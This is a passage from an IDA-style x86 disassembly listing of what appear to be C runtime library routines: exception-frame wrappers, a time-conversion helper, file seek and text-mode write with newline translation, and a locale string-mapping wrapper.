; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2640000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2740000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2660D84h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2660D84h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 2660D84h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 263117Ch
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 263117Ch
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 27F0000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27E10BBh
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
